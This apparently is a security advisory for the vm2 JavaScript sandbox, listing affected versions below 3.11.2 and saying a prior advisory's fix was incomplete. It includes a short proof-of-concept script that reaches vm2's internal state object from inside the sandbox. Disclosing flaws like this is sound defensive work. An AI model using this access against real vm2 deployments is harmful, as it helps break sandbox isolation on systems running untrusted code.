| Package | Affected versions | Patched versions |
|---|---|---|
| vm2 | < 3.11.2 | 3.11.2 |
https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched.
It is still possible to get access to VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL.
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL']
`));
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free